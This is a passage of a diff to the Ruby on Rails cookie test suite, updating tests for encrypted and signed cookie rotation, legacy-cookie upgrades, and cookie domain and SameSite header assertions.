-    @request.env["action_dispatch.secret_token"] = nil
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :get_encrypted_cookie
-    assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.signed_or_encrypted
-  end
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-cbc"))
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", digest: "SHA1", serializer: Marshal)
 
-  def test_signed_or_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :get_encrypted_cookie
-    assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.signed_or_encrypted
-  end
+    get :set_encrypted_cookie
 
-  def test_encrypted_uses_encrypted_cookie_jar_if_only_secret_key_base_is_set
-    @request.env["action_dispatch.secret_token"] = nil
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :get_encrypted_cookie
-    assert_kind_of ActionDispatch::Cookies::EncryptedCookieJar, cookies.encrypted
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_encrypted_uses_upgrade_legacy_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    get :get_encrypted_cookie
-    assert_kind_of ActionDispatch::Cookies::UpgradeLegacyEncryptedCookieJar, cookies.encrypted
-  end
+  def test_rotating_signed_cookies_digest
+    @request.env["action_dispatch.signed_cookie_digest"] = "SHA256"
+    @request.env["action_dispatch.cookies_rotations"].rotate :signed, digest: "SHA1"
 
-  def test_legacy_signed_cookie_is_read_and_transparently_upgraded_by_signed_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    key_generator = @request.env["action_dispatch.key_generator"]
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+    old_secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    old_value = ActiveSupport::MessageVerifier.new(old_secret).generate(45)
 
-    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    @request.headers["Cookie"] = "user_id=#{old_value}"
     get :get_signed_cookie
 
     assert_equal 45, @controller.send(:cookies).signed[:user_id]
 
-    key_generator = @request.env["action_dispatch.key_generator"]
     secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
-    verifier = ActiveSupport::MessageVerifier.new(secret)
+    verifier = ActiveSupport::MessageVerifier.new(secret, digest: "SHA256")
     assert_equal 45, verifier.verify(@response.cookies["user_id"])
   end
 
-  def test_legacy_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
-    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+  def test_legacy_hmac_aes_cbc_marshal_mode_falls_back_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.use_authenticated_cookie_encryption"] = nil
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-gcm"))
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: "aes-256-gcm", serializer: Marshal)
+    marshal_value = aead_encryptor.encrypt_and_sign("bar")
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate("bar")
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
 
-    @request.headers["Cookie"] = "foo=#{legacy_value}"
     get :get_encrypted_cookie
 
-    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
-    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
-    encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret)
-    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-cbc"))
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    hmac_cbc_encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", serializer: Marshal)
+
+    assert_equal "bar", hmac_cbc_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+  def test_legacy_hmac_aes_cbc_json_mode_falls_back_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.use_authenticated_cookie_encryption"] = nil
     @request.env["action_dispatch.cookies_serializer"] = :json
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+    key_generator = @request.env["action_dispatch.key_generator"]
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-gcm"))
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: "aes-256-gcm", serializer: JSON)
+    marshal_value = aead_encryptor.encrypt_and_sign("bar")
 
-    @request.headers["Cookie"] = "user_id=#{legacy_value}"
-    get :get_signed_cookie
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape marshal_value}"
 
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+    get :get_encrypted_cookie
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
-    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
-    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-cbc"))
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    hmac_cbc_encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", serializer: JSON)
+
+    assert_equal "bar", hmac_cbc_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.cookies_serializer"] = :json
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
-    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+  def test_legacy_hmac_aes_cbc_encrypted_marshal_cookie_is_upgraded_to_authenticated_encrypted_cookie
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-cbc"))
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", serializer: Marshal).encrypt_and_sign("bar")
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate("bar")
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
 
-    @request.headers["Cookie"] = "foo=#{legacy_value}"
     get :get_encrypted_cookie
 
-    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-gcm"))
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: "aes-256-gcm", serializer: Marshal)
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
-    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
-    encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON)
-    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+    assert_equal "bar", aead_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.cookies_serializer"] = :hybrid
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+  def test_legacy_hmac_aes_cbc_encrypted_json_cookie_is_upgraded_to_authenticated_encrypted_cookie
+    @request.env["action_dispatch.cookies_serializer"] = :json
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len("aes-256-cbc"))
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", serializer: JSON).encrypt_and_sign("bar")
 
-    @request.headers["Cookie"] = "user_id=#{legacy_value}"
-    get :get_signed_cookie
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
 
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+    get :get_encrypted_cookie
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
-    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
-    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    aead_salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    aead_secret = key_generator.generate_key(aead_salt)[0, ActiveSupport::MessageEncryptor.key_len("aes-256-gcm")]
+    aead_encryptor = ActiveSupport::MessageEncryptor.new(aead_secret, cipher: "aes-256-gcm", serializer: JSON)
+
+    assert_equal "bar", aead_encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.cookies_serializer"] = :hybrid
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+  def test_legacy_hmac_aes_cbc_encrypted_cookie_using_64_byte_key_is_upgraded_to_authenticated_encrypted_cookie
     @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
-    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate("bar")
+    # Cookie generated with 64 bytes secret
+    message = ["566d4e75536d686e633246564e6b493062557079626c566d51574d30515430394c53315665564a694e4563786555744f57537454576b396a5a31566a626e52525054303d2d2d34663234333330623130623261306163363562316266323335396164666364613564643134623131"].pack("H*")
+    @request.headers["Cookie"] = "foo=#{message}"
 
-    @request.headers["Cookie"] = "foo=#{legacy_value}"
     get :get_encrypted_cookie
 
-    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    salt = @request.env["action_dispatch.authenticated_encrypted_cookie_salt"]
+    secret = @request.env["action_dispatch.key_generator"].generate_key(salt, ActiveSupport::MessageEncryptor.key_len("aes-256-gcm"))
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: Marshal)
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
-    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
-    encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON)
     assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.cookies_serializer"] = :hybrid
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+  def test_encrypted_cookie_rotating_secret
+    secret = "b3c631c314c0bbca50c1b2843150fe33"
 
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+    @request.env["action_dispatch.encrypted_cookie_cipher"] = "aes-256-gcm"
+    @request.env["action_dispatch.cookies_rotations"].rotate :encrypted, secret, digest: "SHA1"
 
-    @request.headers["Cookie"] = "user_id=#{legacy_value}"
-    get :get_signed_cookie
+    key_len = ActiveSupport::MessageEncryptor.key_len("aes-256-gcm")
 
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+    old_message = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: Marshal).encrypt_and_sign(45)
 
-    key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
-    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
-    assert_equal 45, verifier.verify(@response.cookies["user_id"])
-  end
+    @request.headers["Cookie"] = "foo=#{::Rack::Utils.escape old_message}"
 
-  def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
-    @request.env["action_dispatch.cookies_serializer"] = :hybrid
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
-    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
-
-    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate("bar")
-
-    @request.headers["Cookie"] = "foo=#{legacy_value}"
     get :get_encrypted_cookie
-
-    assert_equal "bar", @controller.send(:cookies).encrypted[:foo]
+    assert_equal 45, @controller.send(:cookies).encrypted[:foo]
 
     key_generator = @request.env["action_dispatch.key_generator"]
-    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
-    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
-    encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret, serializer: JSON)
-    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
-  end
-
-  def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
-
-    @request.headers["Cookie"] = "user_id=45"
-    get :get_signed_cookie
-
-    assert_nil @controller.send(:cookies).signed[:user_id]
-    assert_nil @response.cookies["user_id"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.authenticated_encrypted_cookie_salt"], key_len)
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: Marshal)
+    assert_equal 45, encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
-  def test_legacy_signed_cookie_is_treated_as_nil_by_encrypted_cookie_jar_if_tampered
-    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
-    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+  def test_cookie_with_hash_value_not_modified_by_rotation
+    @request.env["action_dispatch.signed_cookie_digest"] = "SHA256"
+    @request.env["action_dispatch.cookies_rotations"].rotate :signed, digest: "SHA1"
 
-    @request.headers["Cookie"] = "foo=baz"
-    get :get_encrypted_cookie
+    key_generator = @request.env["action_dispatch.key_generator"]
+    old_secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    old_value = ActiveSupport::MessageVerifier.new(old_secret).generate({ bar: "baz" })
 
-    assert_nil @controller.send(:cookies).encrypted[:foo]
-    assert_nil @response.cookies["foo"]
+    @request.headers["Cookie"] = "foo=#{old_value}"
+    get :get_signed_cookie
+    assert_equal({ bar: "baz" }, @controller.send(:cookies).signed[:foo])
   end
 
   def test_cookie_with_all_domain_option
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.com; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_a_non_standard_tld
     @request.host = "two.subdomains.nextangle.local"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.local; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_australian_style_tld
     @request.host = "nextangle.com.au"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com.au; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.com.au; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_all_domain_option_using_australian_style_tld_and_two_subdomains
+    @request.host = "x.nextangle.com.au"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.com.au; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_uk_style_tld
     @request.host = "nextangle.co.uk"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.co.uk; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.co.uk; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_all_domain_option_using_two_letter_one_level_tld
+    @request.host = "hawth.ca"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=hawth.ca; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_all_domain_option_using_two_letter_one_level_tld_and_subdomain
+    @request.host = "x.hawth.ca"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=hawth.ca; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_all_domain_option_using_uk_style_tld_and_two_subdomains
+    @request.host = "x.nextangle.co.uk"
+    get :set_cookie_with_domain
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.co.uk; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_host_with_port
     @request.host = "nextangle.local:3000"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.local; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_localhost
     @request.host = "localhost"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_ipv4_address
     @request.host = "192.168.1.1"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_ipv6_address
     @request.host = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
     get :set_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
   end
 
   def test_deleting_cookie_with_all_domain_option
     request.cookies[:user_name] = "Joe"
     get :delete_cookie_with_domain
     assert_response :success
-    assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; domain=nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_and_tld_length
     get :set_cookie_with_domain_and_tld
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.com; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.com; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_a_non_standard_tld_and_tld_length
     @request.host = "two.subdomains.nextangle.local"
     get :set_cookie_with_domain_and_tld
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.local; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_a_non_standard_2_letter_tld
     @request.host = "admin.lvh.me"
     get :set_cookie_with_domain_and_tld
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.lvh.me; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=lvh.me; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_all_domain_option_using_host_with_port_and_tld_length
     @request.host = "nextangle.local:3000"
     get :set_cookie_with_domain_and_tld
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.nextangle.local; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=nextangle.local; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_all_domain_option_using_longer_tld_length
+    @request.host = "x.y.z.t.com"
+    get :set_cookie_with_domain_and_longer_tld
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=y.z.t.com; path=/; SameSite=Lax"
   end
 
   def test_deleting_cookie_with_all_domain_option_and_tld_length
     request.cookies[:user_name] = "Joe"
     get :delete_cookie_with_domain_and_tld
     assert_response :success
-    assert_cookie_header "user_name=; domain=.nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; domain=nextangle.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
   end
 
   def test_cookie_with_several_preset_domains_using_one_of_these_domains
     @request.host = "example1.com"
     get :set_cookie_with_domains
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=example1.com; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=example1.com; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_several_preset_domains_using_subdomain
+    @request.host = "subdomain.example1.com"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; domain=example1.com; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_several_preset_domains_using_similar_tld
+    @request.host = "example1.com.au"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_several_preset_domains_using_similar_domain
+    @request.host = "myexample1.com"
+    get :set_cookie_with_domains
+    assert_response :success
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_several_preset_domains_using_other_domain
     @request.host = "other-domain.com"
     get :set_cookie_with_domains
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; path=/; SameSite=Lax"
   end
 
   def test_cookie_with_several_preset_domains_using_shared_domain
     @request.host = "example3.com"
     get :set_cookie_with_domains
     assert_response :success
-    assert_cookie_header "user_name=rizwanreza; domain=.example3.com; path=/"
+    assert_set_cookie_header "user_name=rizwanreza; domain=.example3.com; path=/; SameSite=Lax"
   end
 
-  def test_deletings_cookie_with_several_preset_domains_using_one_of_these_domains
+  def test_cookie_with_domain_proc
+    get :set_cookie_with_domain_proc
+    assert_response :success
+    assert_set_cookie_header "user_name=braindeaf; domain=.sub.www.nextangle.com; path=/; SameSite=Lax"
+  end
+
+  def test_cookie_with_domain_proc_with_request
+    get :set_cookie_with_domain_proc_with_request
+    assert_response :success
+    assert_set_cookie_header "user_name=braindeaf; domain=.sub.www.nextangle.com; path=/; SameSite=Lax"
+  end
+
+  def test_deleting_cookie_with_several_preset_domains_using_one_of_these_domains
     @request.host = "example2.com"
     request.cookies[:user_name] = "Joe"
     get :delete_cookie_with_domains
     assert_response :success
-    assert_cookie_header "user_name=; domain=example2.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; domain=example2.com; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
   end
 
-  def test_deletings_cookie_with_several_preset_domains_using_other_domain
+  def test_deleting_cookie_with_several_preset_domains_using_other_domain
     @request.host = "other-domain.com"
     request.cookies[:user_name] = "Joe"
     get :delete_cookie_with_domains
     assert_response :success
-    assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+    assert_set_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax"
   end
 
   def test_cookies_hash_is_indifferent_access
@@ -1115,7 +1425,7 @@ def test_setting_request_cookies_is_indifferent_access
 
   def test_cookies_retained_across_requests
     get :symbol_key
-    assert_cookie_header "user_name=david; path=/"
+    assert_set_cookie_header "user_name=david; path=/; SameSite=Lax"
     assert_equal "david", cookies[:user_name]
 
     get :noop
@@ -1199,22 +1509,167 @@ def test_cookies_are_not_cleared
     assert_equal "bar", @controller.encrypted_cookie
   end
 
-  private
-    def assert_cookie_header(expected)
-      header = @response.headers["Set-Cookie"]
-      if header.respond_to?(:to_str)
-        assert_equal expected.split("\n").sort, header.split("\n").sort
-      else
-        assert_equal expected.split("\n"), header
-      end
+  def test_cookie_override
+    get :set_cookie_if_not_present
